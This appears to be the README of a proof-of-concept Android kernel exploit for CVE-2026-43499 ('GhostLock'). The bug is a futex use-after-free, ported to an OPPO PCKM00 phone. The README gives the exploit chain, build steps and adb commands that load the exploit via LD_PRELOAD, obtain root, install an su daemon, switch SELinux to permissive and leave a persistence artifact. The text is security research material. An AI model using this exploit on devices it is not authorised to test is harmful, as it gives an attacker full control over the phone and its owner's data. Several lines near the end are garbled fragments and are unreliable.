
CVE-2026-43499 GhostLock futex UAF LPE PoC para OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — escalada local de privilégios por use-after-free na herança de prioridade do futex do kernel Linux, portada para o OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+).
AVISO / 免责声明 Este projeto destina-se exclusivamente a pesquisa de segurança autorizada e fins educacionais. Não o utilize em qualquer dispositivo que não seja seu ou para o qual não tenha autorização explícita para testar. A execução do exploit pode causar travamento do kernel. O autor não se responsabiliza por qualquer uso indevido ou dano.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。
A CVE-2026-43499 (GhostLock) é um use-after-free no código de herança de prioridade do futex do kernel Linux. O bug reside no uso indevido de remove_waiter() no caminho de reversão do proxy-lock de rt_mutex_start_proxy_lock(). O rt_mutex_waiter liberado (alocado na pilha do kernel) é reinterpretado como um fd_set controlado pelo atacante e copiado por pselect(), o que gera uma primitiva de escrita arbitrária.
Faixa afetada: Linux 4.x–6.x (introduzido em 2011). A série 4.14 é totalmente afetada. Consulte report.md para a análise completa e os offsets de símbolos verificados.
futex requeue-pi UAF
└─> cópia de fd_set na pilha via pselect (rt_mutex_waiter / task falsos)
└─> escrita arbitrária (operações da árvore rt_mutex / sched_setattr)
└─> sobrescrita de ashmem_fops -> leitura/escrita binária via configfs
└─> reescrita da página de pipe_buffer (primitiva RW física)
└─> patch do cred da tarefa atual -> root
O PoC é executado inteiramente em userspace via LD_PRELOAD — não é necessário reiniciar o dispositivo (a menos que o kernel entre em pânico).
Portabilidade para outros dispositivos 4.14: copie
exploit/targets/oppo-pckm00/target.he regenere os offsets de símbolos a partir da imagem do seu kernel (consulteanalysis/).
.
├── report.md # Análise completa da vulnerabilidade e offsets verificados
├── exploit/
│ ├── Makefile # Compila preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # Entrada LD_PRELOAD + registro em disco forçado + su
│ │ ├── main.c # Orquestração (threads waiter/owner/consumer)
│ │ ├── slide.c # Vazamento de KASLR (loggers boot_id / nfulnl)
│ │ ├── fops.c # Sobrescrita de ashmem_fops + primitiva configfs
│ │ ├── pipe.c # Primitiva physrw de pipe_buffer
│ │ ├── root.c # Varredura de tarefas + patch de cred + seccomp/selinux
│ │ ├── util.c # kernelsnitch, preparação de página skb, RW do kernel
│ │ ├── su_daemon.c # Servidor su embutido (drop-in)
│ │ ├── su_blob.S # .incbin de su_daemon
│ │ └── wallpaper_blob.S # .incbin do payload de wallpaper
│ ├── targets/oppo-pckm00/target.h # Offsets de símbolos/structs 4.14.180
│ └── assets/wallpaper.webp # Payload de wallpaper embutido
├── analysis/ # Scripts de extração de imagem do kernel / kallsyms
└── LICENSE # Apache-2.0 (mesmo do GhostLock upstream)
Requer Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# coloque o NDK em /opt/ndk/android-ndk-r29 (toolchain linux-x86_64)
cd exploit
make wsl
# ou diretamente:
bash ../analysis/build_preload.sh
Saída: exploit/preload.so (objeto compartilhado ELF aarch64 de 64 bits).
A compilação também gera su_daemon.c como binário PIE e o embute (junto com o wallpaper) no .so via os blobs .S.
# apenas o binário (funciona a partir de um asset de release ou de uma compilação local)
adb push preload.so /data/local/tmp/preload.so
# ou com a estrutura do repositório
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
O .so é carregado no processo sh via LD_PRELOAD; seu construtor executa toda a cadeia do exploit e reporta o resultado:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
Em caso de sucesso, o shell reporta:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
O processo atual (e seus filhos) agora é root. Um daemon su é instalado em /apex/com.android.virt/bin/su (com fallback para /data/local/tmp/su) e um wallpaper embutido é aplicado como artefato de persistência/verificação.
# a partir de um novo shell após a execução
adb shell su -c 'id'
# ou obtenha uma sessão de shell root (cliente su interativo)
adb shell /data/local/tmp/su
# verifique se o SELinux foi alternado para permissivo (se o caminho do selinux foi acionado)
adb shell getenforce
Todos os diagnósticos pr_* também são gravados em /sdcard/Download/log_<timestamp>.txt (com fallback para /data/local/tmp/log_<timestamp>.txt), com O_SYNC + fsync() em cada linha para que os logs sobrevivam a um pânico do kernel / reinicialização:
adb pull /sdcard/Download/log_*.txt
# ou se /sdcard não estiver montado no início
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
O log mostra cada etapa (slide de KASLR, sobrescrita de fops, physrw de pipe, patch de cred) e a linha final uid_after / ROOT OK — anexe-o ao relatar um problema.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # se o estado do SELinux/cred ou o wallpaper foram modificados
Nota: executar o exploit pode causar travamento do kernel. Se o
adbcair, aguarde o dispositivo reiniciar e então puxe/sdcard/Download/log_*.txt— o registro forçado comO_SYNC/fsyncé exatamente o que sobrevive ao pânico.
boot_id/nfulnl (slide.c) além de uma passagem de verificação de ashmem_fops (fops.c)..read/.write legados (sem read_iter/write_iter),ashmem_fops não possui show_fdinfo,generic_file_splice_read substitui copy_splice_read,selinux_enforcing reside dentro de struct selinux_state,IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — consulte LICENSE.
| Campo | Valor |
|---|
| Dispositivo | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Patch de segurança | 2022-09-05 |
| Kernel | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Build | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
rt_mutex_waiterpipe_inode_infocredtask_struct.seccomp) são aproximados; a falha ao aplicar patch no seccomp não bloqueia o root por sobrescrita de cred.